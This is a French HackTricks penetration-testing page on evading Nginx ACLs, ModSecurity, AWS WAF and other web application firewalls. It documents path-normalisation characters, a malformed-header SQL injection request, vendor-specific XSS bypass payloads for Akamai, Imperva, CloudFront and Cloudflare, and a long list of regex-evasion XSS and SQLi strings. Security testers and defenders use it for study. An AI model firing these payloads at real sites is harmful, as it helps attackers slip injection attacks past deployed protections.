Proxy / WAF Protections Bypass

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Contournement des rĂšgles ACL Nginx avec manipulation de chemin

Techniques de cette recherche.

Exemple de rĂšgle Nginx :

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Pour Ă©viter les contournements, Nginx effectue une normalisation des chemins avant de les vĂ©rifier. Cependant, si le serveur backend effectue une normalisation diffĂ©rente (en supprimant des caractĂšres que Nginx ne supprime pas), il pourrait ĂȘtre possible de contourner cette dĂ©fense.

NodeJS - Express

Version NginxCaractĂšres de contournement Node.js
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Version NginxCaractĂšres de contournement Flask
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Version NginxCaractĂšres de contournement Spring Boot
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Configuration Nginx FPM :

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx est configuré pour bloquer l'accÚs à /admin.php, mais il est possible de contourner cela en accédant à /admin.php/index.php.

Comment prévenir

plaintext
location ~* ^/admin {
deny all;
}

Contournement des rĂšgles Mod Security

Confusion de chemin

Dans cet article il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), a mal implémenté la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu'au début des paramÚtres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.
Par consĂ©quent, une requĂȘte comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformĂ© en ? terminant le chemin de l'URL, mais en rĂ©alitĂ©, le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.

Les variables REQUEST_BASENAME et PATH_INFO ont également été affectées par ce bug.

Quelque chose de similaire s'est produit dans la version 2 de Mod Security qui a permis de contourner une protection empĂȘchant l'utilisateur d'accĂ©der Ă  des fichiers avec des extensions spĂ©cifiques liĂ©es aux fichiers de sauvegarde (comme .bak) simplement en envoyant le point encodĂ© en URL %2e, par exemple : https://example.com/backup%2ebak.

Contournement de l'AWS WAF ACL

En-tĂȘte malformĂ©

Cette recherche mentionne qu'il Ă©tait possible de contourner les rĂšgles AWS WAF appliquĂ©es sur les en-tĂȘtes HTTP en envoyant un en-tĂȘte "malformĂ©" qui n'Ă©tait pas correctement analysĂ© par AWS mais l'Ă©tait par le serveur backend.

Par exemple, en envoyant la requĂȘte suivante avec une injection SQL dans l'en-tĂȘte X-Query :

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Il Ă©tait possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tĂȘte tandis que le serveur NODEJS le faisait (cela a Ă©tĂ© corrigĂ©).

Contournements génériques de WAF

Limites de taille de requĂȘte

Les WAF ont gĂ©nĂ©ralement une certaine limite de longueur des requĂȘtes Ă  vĂ©rifier et si une requĂȘte POST/PUT/PATCH dĂ©passe cette limite, le WAF ne vĂ©rifiera pas la requĂȘte.

Taille maximale d'un corps de requĂȘte web pouvant ĂȘtre inspectĂ© pour les protections Application Load Balancer et AWS AppSync8 Ko
Taille maximale d'un corps de requĂȘte web pouvant ĂȘtre inspectĂ© pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access**64 Ko

Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou infĂ©rieur) permettent des messages plus grands que 128 Ko en dĂ©sactivant l'inspection du corps de la requĂȘte, mais ces messages ne seront pas vĂ©rifiĂ©s pour des vulnĂ©rabilitĂ©s. Pour les versions plus rĂ©centes (Core Rule Set 3.2 ou plus rĂ©centes), la mĂȘme chose peut ĂȘtre faite en dĂ©sactivant la limite maximale du corps de la requĂȘte. Lorsqu'une requĂȘte dĂ©passe la limite de taille :

Si mode de prĂ©vention : Journalise et bloque la requĂȘte.
Si mode de détection : Inspecte jusqu'à la limite, ignore le reste et journalise si le Content-Length dépasse la limite.

Par dĂ©faut, le WAF inspecte seulement les premiers 8 Ko d'une requĂȘte. Il peut augmenter la limite jusqu'Ă  128 Ko en ajoutant des mĂ©tadonnĂ©es avancĂ©es.

Jusqu'Ă  128 Ko.

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilité Unicode

Selon l'implĂ©mentation de la normalisation Unicode (plus d'infos ici), les caractĂšres qui partagent la compatibilitĂ© Unicode peuvent ĂȘtre capables de contourner le WAF et de s'exĂ©cuter comme le payload prĂ©vu. Les caractĂšres compatibles peuvent ĂȘtre trouvĂ©s ici.

Exemple

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁌p onerror⁌prompt⁜1 ïč„  --> img src=p onerror='prompt(1)'>

Contournement des WAF contextuels avec des encodages

Comme mentionné dans cet article de blog, afin de contourner les WAF capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.

Par exemple, dans le post, il est mentionné que Akamai a décodé une entrée utilisateur 10 fois. Par conséquent, quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait penser que c'est ok car la balise est fermée. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.

Par conséquent, cela permet de cacher des charges utiles dans des composants encodés que le WAF va décoder et interpréter tandis que la victime ne le fera pas.

De plus, cela peut ĂȘtre fait non seulement avec des charges utiles encodĂ©es en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...

Dans le post, les contournements finaux suivants sont suggérés :

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Il est Ă©galement mentionnĂ© qu'en fonction de comment certains WAF comprennent le contexte de l'entrĂ©e utilisateur, il pourrait ĂȘtre possible d'en abuser. L'exemple proposĂ© dans le blog est qu'Akamai permettait de mettre n'importe quoi entre /* et */ (potentiellement parce que cela est couramment utilisĂ© comme commentaires). Par consĂ©quent, une injection SQL telle que /*'or sleep(5)-- -*/ ne sera pas dĂ©tectĂ©e et sera valide car /* est la chaĂźne de dĂ©part de l'injection et */ est commentĂ©.

Ces types de problĂšmes de contexte peuvent Ă©galement ĂȘtre utilisĂ©s pour abuser d'autres vulnĂ©rabilitĂ©s que celle attendue d'ĂȘtre exploitĂ©e par le WAF (par exemple, cela pourrait Ă©galement ĂȘtre utilisĂ© pour exploiter un XSS).

H2C Smuggling

Upgrade Header Smuggling

Rotation IP

Contournements Regex

DiffĂ©rentes techniques peuvent ĂȘtre utilisĂ©es pour contourner les filtres regex sur les pare-feu. Les exemples incluent le changement de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent ĂȘtre trouvĂ©es sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont Ă©tĂ© extraits de cet article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Outils

  • nowafpls: Plugin Burp pour ajouter des donnĂ©es inutiles aux requĂȘtes afin de contourner les WAF par la longueur

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks